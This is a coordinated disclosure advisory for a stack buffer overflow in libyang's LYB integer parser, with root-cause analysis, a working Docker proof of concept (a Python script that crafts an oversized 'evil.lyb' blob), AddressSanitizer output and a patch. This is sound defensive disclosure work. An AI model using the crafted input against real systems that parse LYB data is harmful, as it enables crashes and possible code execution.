ANT-2026-573F8CSS · cesnet/libyang

stack-buffer-overflow high

GHSA-44h9-v855-6rj3

Severity Claude high · Security research firm high · Maintainer -

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Ada Logics.

ANT-2026-573F8CSS: Stack buffer overflow storing LYB integer values

In libyang's built-in integer type plugin, lyplg_type_store_int() and lyplg_type_store_uint() declare an 8-byte stack local (int64_t/uint64_t num) and, for LY_VALUE_LYB input, call memcpy(&num, value, value_size). Because all eight int/uint types register .lyb_size = lyplg_type_lyb_size_variable_bits, lyplg_type_check_value_size() applies no upper bound in the LYB+VARIABLE_BITS case (plugins_types.c:569-585), and parser_lyb.c:336 reads the size field directly from the input. An attacker can encode an integer leaf claiming e.g. 2048 bits (256 bytes) of payload; the parser allocates and reads those bytes and memcpy's all of them over the 8-byte stack variable, overwriting saved registers, canary, and return address. This yields RIP control (or at minimum DoS on hardened builds) in any application that parses untrusted LYB instance data.

Target

Project: cesnet/libyang
Location: src/plugins_types/integer.c:70
Discovery: static analysis — not yet dynamically reproduced

Technical Details

For LYB input with VARIABLE_BITS sizing, lyplg_type_check_value_size() (plugins_types.c:564-588) neither hits the FIXED branch nor the %8 branch and only checks BITS2BYTES > UINT32_MAX, so the attacker-supplied size passes through unchanged. integer.c:70/317 then does memcpy(&num, value, value_size) into an 8-byte stack int64_t/uint64_t — a classic attacker-controlled-length, attacker-controlled-data linear stack overwrite. No upper bound exists anywhere along the parser_lyb.c → lyd_value_store → plugin->store path.

Reproduction

  1. Craft an LYB instance document containing a leaf of any built-in YANG integer type (int8..int64/uint8..uint64).
  2. Set the leaf's variable-size prefix to a large value (e.g. 2048 bits = 256 bytes) and append 256 bytes of ROP/shellcode payload.
  3. Deliver the document to the victim (sysrepo datastore file, yanglint input, /import path that accepts LYB).
  4. parser_lyb.c reads the attacker-controlled size, allocates and fills the payload, and calls the integer plugin store callback.
  5. memcpy(&num, value, value_size) copies the full payload over the 8-byte stack local, overwriting saved registers / return address.

[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]

Suggested Fix

Bound the decoded LYB integer size by the destination C type width (≤ 8 bytes) before the memcpy, and reject any value whose encoded size exceeds the target buffer.

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-573F8CSS.


Reference: ANT-2026-573F8CSS
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Ada Logics. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
high

This is a vuln report that has been manually verified by David Korczynski from Ada Logics, and has used AI for discovering the vuln.

Summary

The LYB (libyang binary) instance-data parser writes an attacker-controlled, attacker-sized value over an 8-byte stack local when storing an integer leaf. Each LYB leaf value carries a length prefix read directly from the input. For the built-in integer types (int8..int64, uint8..uint64) the store callback does memcpy(&num, value, value_size) into a stack int64_t num, but value_size is only bounded against UINT32_MAX — never against the 8-byte destination. A crafted LYB document declaring an integer value of, e.g., 2048 bits (256 bytes) causes the parser to allocate and read 256 attacker-controlled bytes and copy all of them over the 8-byte num, smashing the stack frame (saved registers, canary, return address).

Any application that parses untrusted LYB with libyang is affected (e.g. sysrepo datastore files, yanglint -f lyb, or NETCONF/RESTCONF/import paths that accept LYB). Confirmed end-to-end through the public API lyd_parse_data_mem(..., LYD_LYB, ...) with AddressSanitizer.

Severity

High — CWE-121 (Stack-based Buffer Overflow) / CWE-787 (Out-of-bounds Write). Linear, forward memcpy with both length and contents attacker-controlled, reachable by default (integer plugins are built in; the LYB parser is core public API). Return-address control on non-hardened builds.

Affected versions

Confirmed unpatched on both branches as of 2026-07-01: - master — HEAD 47351e59e2965e350f9d4098f15ecbe6b3850f6f (the version reproduced against) - devel — HEAD 8fbe2f5b7b88c21a8ec7b3a88b750f33ddc1b44a (same code path, same missing bound)

The most recent size-limit hardening, commit 72fc9e724957b569a5f02cde9d6431684da4e8fa ("lib BUGFIX check value size limits", Fixes #2497), added the UINT32_MAX ceiling shown below but does not bound the size against the integer destination, so the stack overflow remains.

Details

Vulnerable code

src/plugins_types/integer.c (lyplg_type_store_int; identical pattern in lyplg_type_store_uint at :317):

lyplg_type_store_int(const struct ly_ctx *ctx, const struct lysc_type *type, const void *value,
        uint64_t value_size_bits, ...)
{
    uint32_t value_size;
    int64_t num = 0;                       // 8-byte destination on the stack
    ...
    /* check value length */
    ret = lyplg_type_check_value_size(lys_datatype2str(type->basetype), format, value_size_bits,
            LYPLG_LYB_SIZE_VARIABLE_BITS, 0, &value_size, err);   // no destination-width bound
    LY_CHECK_GOTO(ret, cleanup);

    if (format == LY_VALUE_LYB) {
        /* copy the integer and correct the byte order */
        memcpy(&num, value, value_size);   // integer.c:70 — value_size attacker-controlled (up to ~4 GiB)
        num = le64toh(num);
    }

The integer types register .lyb_size = LYPLG_LYB_SIZE_VARIABLE_BITS. In the only gate, src/plugins_types.c (lyplg_type_check_value_size), the LYB + VARIABLE_BITS combination falls through the FIXED-size and byte-rounding branches, leaving a single ceiling check:

/* VARIABLE_BITS + LYB reaches here having skipped both prior branches */
if (LYPLG_BITS2BYTES(value_size_bits) > UINT32_MAX) { return ...; }   // only ceiling: 4 GiB
*value_size = LYPLG_BITS2BYTES(value_size_bits);                       // e.g. 256

value_size (256) is far above the destination width (8) but is never compared against it, so the memcpy writes 248 bytes past num.

The size and payload come straight from the wire — src/parser_lyb.c (lyb_read_value, VARIABLE_BITS branch):

lyb_read_size(&lyb_size_bits, lybctx);     // read the size field from input
*val_size_bits = lyb_size_bits;
...
LY_CHECK_ERR_RET(LYPLG_BITS2BYTES(*val_size_bits) >= UINT32_MAX, ...);   // 4 GiB guard only
*val = calloc(LYPLG_BITS2BYTES(*val_size_bits) + 1, ...);                // allocate the payload
lyb_read(*val, *val_size_bits, lybctx);                                  // fill from input

Root cause

Missing upper bound of the decoded LYB integer value size against the destination C-type width (≤ 8 bytes). Any size in [9, 0xFFFFFFFF] bytes passes the only check and is memcpy'd into the 8-byte stack local.

Call path (from AddressSanitizer)

lyd_parse_data_mem            src/tree_data.c:217
 lyd_parse_data               src/tree_data.c:206
  lyd_parse                   src/tree_data.c:132
   lyd_parse_lyb              src/parser_lyb.c:1768
    lyb_parse_siblings        src/parser_lyb.c:1624
     lyb_parse_node           src/parser_lyb.c:1600
      lyb_parse_node_leaf     src/parser_lyb.c:1429   (reads size via lyb_read_value)
       lyb_create_term        src/parser_lyb.c:1161
        lyd_parser_create_term src/parser_common.c:212
         lyd_create_term      src/tree_data_new.c:71
          lyd_value_store     src/tree_data_common.c:509
           lyplg_type_store_int src/plugins_types/integer.c:70  <-- memcpy(&num, value, 256) into int64_t num

Impact

A single crafted LYB blob overflows the store_int stack frame with attacker-chosen length (up to ~4 GiB; 256 B demonstrated) and attacker-chosen contents. On a non-hardened build this is return-address control; with stack canaries / FORTIFY it is a reliable process abort (DoS) — and because the copy size is not a compile-time constant, FORTIFY may not intercept it before corruption. Reachable from any LYB ingestion path (sysrepo datastore load, yanglint -f lyb, tooling/servers that import LYB), pre-auth, no user interaction beyond parsing the blob.

Proof of Concept

One self-contained Docker reproducer. It builds libyang at the affected commit with AddressSanitizer, generates a legitimate LYB document for module m { leaf v { type int64; } } (v = 42), inflates the value's size field to 2048 bits (256 bytes) + appends 256 0x41 bytes, then parses the crafted blob through the real public API.

Dockerfile

FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=47351e59e2965e350f9d4098f15ecbe6b3850f6f
ARG CLANG_VERSION=20

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake pkg-config libc6-dev libpcre2-dev python3 \
        wget gnupg lsb-release software-properties-common \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang-${CLANG_VERSION} CXX=clang++-${CLANG_VERSION}
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

RUN git clone https://github.com/cesnet/libyang /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

RUN mkdir build && cd build && \
    cmake -DCMAKE_BUILD_TYPE=Debug \
          -DCMAKE_C_FLAGS="${CFLAGS}" \
          -DCMAKE_EXE_LINKER_FLAGS="${LDFLAGS}" \
          -DCMAKE_SHARED_LINKER_FLAGS="${LDFLAGS}" \
          -DENABLE_TESTS=OFF .. && \
    make -j"$(nproc)" yang

COPY gen.c parse.c patch.py /tmp/
RUN ${CC} ${CFLAGS} /tmp/gen.c   -I/src/repo/src -I/src/repo/build/src -I/src/repo/build \
        -L/src/repo/build -lyang -o /tmp/gen   ${LDFLAGS} && \
    ${CC} ${CFLAGS} /tmp/parse.c -I/src/repo/src -I/src/repo/build/src -I/src/repo/build \
        -L/src/repo/build -lyang -o /tmp/parse ${LDFLAGS}

ENV LD_LIBRARY_PATH=/src/repo/build
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer

CMD ["/bin/sh","-c","/tmp/gen && python3 /tmp/patch.py && echo '--- parsing crafted LYB ---' && /tmp/parse /tmp/evil.lyb 2>&1; echo EXIT=$?"]

gen.c — builds a legitimate LYB document (regenerated at build time so the module hashes match any commit)

/* Build a legitimate LYB document for module `m` with int64 leaf v=42. */
#include <libyang/libyang.h>
#include <stdio.h>

int main(void) {
    struct ly_ctx *ctx = NULL;
    if (ly_ctx_new("/src/repo/modules", LY_CTX_NO_YANGLIBRARY, &ctx)) { printf("ctx fail\n"); return 1; }
    const char *mod = "module m{namespace \"urn:m\";prefix m;leaf v{type int64;}}";
    if (lys_parse_mem(ctx, mod, LYS_IN_YANG, NULL)) { printf("mod fail\n"); return 1; }
    struct lyd_node *tree = NULL;
    const char *xml = "<v xmlns=\"urn:m\">42</v>";
    if (lyd_parse_data_mem(ctx, xml, LYD_XML, LYD_PARSE_ONLY, 0, &tree)) { printf("parse xml fail\n"); return 1; }
    FILE *f = fopen("/tmp/d.lyb", "wb");
    if (lyd_print_file(f, tree, LYD_LYB, 0)) { printf("print fail\n"); return 1; }
    fclose(f);
    printf("gen done\n");
    return 0;
}

patch.py — inflates the integer value's size field and appends the payload

#!/usr/bin/env python3
# Inflate the int64 leaf's LYB variable-bits size field from 6 bits (1 byte,
# value 0x2a) to 2048 bits (256 bytes) and append a 256-byte payload.
# Layout of the legit blob /tmp/d.lyb (non-shrink mode):
#   [16-byte header] [4-byte LE size_bits] [value bytes] [1-byte sibling terminator]
import struct

data = open('/tmp/d.lyb', 'rb').read()
assert len(data) == 22, ("unexpected legit LYB length %d: %s" % (len(data), data.hex()))
header = data[:16]
size_field = data[16:20]
assert struct.unpack('<I', size_field)[0] == 6, size_field.hex()  # 6 bits == 1 byte
trailer = data[21:]  # everything after the single value byte

evil = header + struct.pack('<I', 2048) + (b'\x41' * 256) + trailer
open('/tmp/evil.lyb', 'wb').write(evil)
print("evil.lyb: %d bytes (size_bits=2048 -> 256-byte value into 8-byte stack num)" % len(evil))

parse.c — parses the attacker-supplied LYB via the public API

/* Parse an attacker-supplied LYB instance document, exactly as any application
 * ingesting untrusted LYB would (sysrepo datastore load, yanglint -f lyb, a
 * <copy-config>/import path). */
#include <libyang/libyang.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    struct ly_ctx *ctx = NULL;
    if (ly_ctx_new("/src/repo/modules", LY_CTX_NO_YANGLIBRARY, &ctx)) { printf("ctx fail\n"); return 1; }
    const char *mod = "module m{namespace \"urn:m\";prefix m;leaf v{type int64;}}";
    if (lys_parse_mem(ctx, mod, LYS_IN_YANG, NULL)) { printf("mod fail\n"); return 1; }

    FILE *f = fopen(argv[1], "rb");
    if (!f) { printf("open fail\n"); return 1; }
    fseek(f, 0, SEEK_END); long n = ftell(f); fseek(f, 0, SEEK_SET);
    char *buf = malloc(n + 1);
    if (fread(buf, 1, n, f) != (size_t)n) { printf("read fail\n"); return 1; }
    buf[n] = 0; fclose(f);

    struct lyd_node *tree = NULL;
    LY_ERR r = lyd_parse_data_mem(ctx, buf, LYD_LYB, LYD_PARSE_ONLY | LYD_PARSE_STRICT, 0, &tree);
    printf("parse lyb result=%d tree=%p\n", r, (void *)tree);
    return 0;
}

Run

docker build -t libyang-lyb-int-overflow .
docker run --rm libyang-lyb-int-overflow

Observed output (AddressSanitizer)

gen done
evil.lyb: 277 bytes (size_bits=2048 -> 256-byte value into 8-byte stack num)
--- parsing crafted LYB ---
=================================================================
==8==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x725883c9b938 at pc 0x59774135ec32 bp 0x7ffd16a0dc50 sp 0x7ffd16a0d410
WRITE of size 256 at 0x725883c9b938 thread T0
    #0 in __asan_memcpy
    #1 in lyplg_type_store_int /src/repo/src/plugins_types/integer.c:70:9
    #2 in lyd_value_store /src/repo/src/tree_data_common.c:509:9
    #3 in lyd_create_term /src/repo/src/tree_data_new.c:71:11
    #4 in lyd_parser_create_term /src/repo/src/parser_common.c:212:5
    #5 in lyb_create_term /src/repo/src/parser_lyb.c:1161:10
    #6 in lyb_parse_node_leaf /src/repo/src/parser_lyb.c:1429:10
    #7 in lyb_parse_node /src/repo/src/parser_lyb.c:1600:14
    #8 in lyb_parse_siblings /src/repo/src/parser_lyb.c:1624:18
    #9 in lyd_parse_lyb /src/repo/src/parser_lyb.c:1768:10
   #12 in lyd_parse_data_mem /src/repo/src/tree_data.c:217:11
   #13 in main /tmp/parse.c:23:16

Address 0x725883c9b938 is located in stack of thread T0 at offset 56 in frame
    #0 lyplg_type_store_int /src/repo/src/plugins_types/integer.c:52
  This frame has 4 object(s):
    [32, 36) 'value_size' (line 54)
    [48, 56) 'num' (line 55)   <== 8-byte destination; the 256-byte memcpy starts here
    [80, 84) 'base' (line 56)
    [96, 104) 'canon' (line 57)
SUMMARY: AddressSanitizer: stack-buffer-overflow /src/repo/src/plugins_types/integer.c:70:9 in lyplg_type_store_int
==8==ABORTING
EXIT=134

A plain (non-ASan) build instead aborts with *** stack smashing detected ***, independently confirming canary / return-address corruption.

Suggested fix

Bound the decoded LYB integer size by the destination width before the memcpy, in both lyplg_type_store_int and lyplg_type_store_uint:

     if (format == LY_VALUE_LYB) {
         /* copy the integer and correct the byte order */
+        if (value_size > sizeof(num)) {
+            ret = ly_err_new(err, LY_EVALID, LYVE_DATA, NULL, NULL,
+                    "Invalid %s LYB value size %u B (max %zu B).",
+                    lys_datatype2str(type->basetype), value_size, sizeof(num));
+            LY_CHECK_GOTO(ret, cleanup);
+        }
         memcpy(&num, value, value_size);
         num = le64toh(num);
     }

A more central fix would teach lyplg_type_check_value_size to accept and enforce a per-type maximum byte width for the VARIABLE_BITS + LYB case.

Fix verification: with the guard applied, the same crafted blob is rejected (lyd_parse_data_mem returns LY_EVALID) instead of crashing — verified by re-running the identical PoC against a patched build.

References

Attribution

please credit Claude and Ada Logics — found by Anthropic using agents to study the security of open-source projects, with Ada Logics validating and reporting.

Disclosure timeline

This report follows a 90-day coordinated disclosure timeline following the policy here: https://www.anthropic.com/coordinated-vulnerability-disclosure

TIMELINE

Recorded dates, in order.

  1. 2026-04-02 Discovered or logged
  2. 2026-07-22 Sent to maintainer
  3. 2026-07-22 Maintainer acknowledged
  4. 2026-07-22 Patch released
  5. 2026-09-28 Publicly revealed
PROVENANCE

SHA-3-512 hash:

c22eedcdd22e59927b0d2b2b9ef9126022be8d303afe3192f0994fe7ed95547c918973f88184de661c1e6665ca9be56301f02f4c1cdaaca0677204f48d119698

Committed 2026-07-22 07:29 UTC

Revealed 2026-09-28 22:27 UTC

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-573F8CSS",
  "bug_class": "Memory Corruption / Stack Buffer Overflow",
  "claude_severity": "high",
  "commit_sha": null,
  "created_at": "2026-04-16T01:48:28+00:00",
  "description": "In libyang's built-in integer type plugin, lyplg_type_store_int() and lyplg_type_store_uint() declare an 8-byte stack local (int64_t/uint64_t num) and, for LY_VALUE_LYB input, call memcpy(&num, value, value_size). Because all eight int/uint types register .lyb_size = lyplg_type_lyb_size_variable_bits, lyplg_type_check_value_size() applies no upper bound in the LYB+VARIABLE_BITS case (plugins_types.c:569-585), and parser_lyb.c:336 reads the size field directly from the input. An attacker can encode an integer leaf claiming e.g. 2048 bits (256 bytes) of payload; the parser allocates and reads those bytes and memcpy's all of them over the 8-byte stack variable, overwriting saved registers, canary, and return address. This yields RIP control (or at minimum DoS on hardened builds) in any application that parses untrusted LYB instance data.",
  "discovered_at": "2026-04-02T00:00:00+00:00",
  "location": "src/plugins_types/integer.c:70",
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "cesnet/libyang",
  "reproduction": [
    "1. Craft an LYB instance document containing a leaf of any built-in YANG integer type (int8..int64/uint8..uint64).",
    "2. Set the leaf's variable-size prefix to a large value (e.g. 2048 bits = 256 bytes) and append 256 bytes of ROP/shellcode payload.",
    "3. Deliver the document to the victim (sysrepo datastore file, yanglint input, <copy-config>/import path that accepts LYB).",
    "4. parser_lyb.c reads the attacker-controlled size, allocates and fills the payload, and calls the integer plugin store callback.",
    "5. memcpy(&num, value, value_size) copies the full payload over the 8-byte stack local, overwriting saved registers / return address."
  ],
  "technical_details": "For LYB input with VARIABLE_BITS sizing, lyplg_type_check_value_size() (plugins_types.c:564-588) neither hits the FIXED branch nor the %8 branch and only checks BITS2BYTES > UINT32_MAX, so the attacker-supplied size passes through unchanged. integer.c:70/317 then does memcpy(&num, value, value_size) into an 8-byte stack int64_t/uint64_t — a classic attacker-controlled-length, attacker-controlled-data linear stack overwrite. No upper bound exists anywhere along the parser_lyb.c → lyd_value_store → plugin->store path.",
  "title": "Stack buffer overflow storing LYB integer values",
  "vendor_severity": "high"
}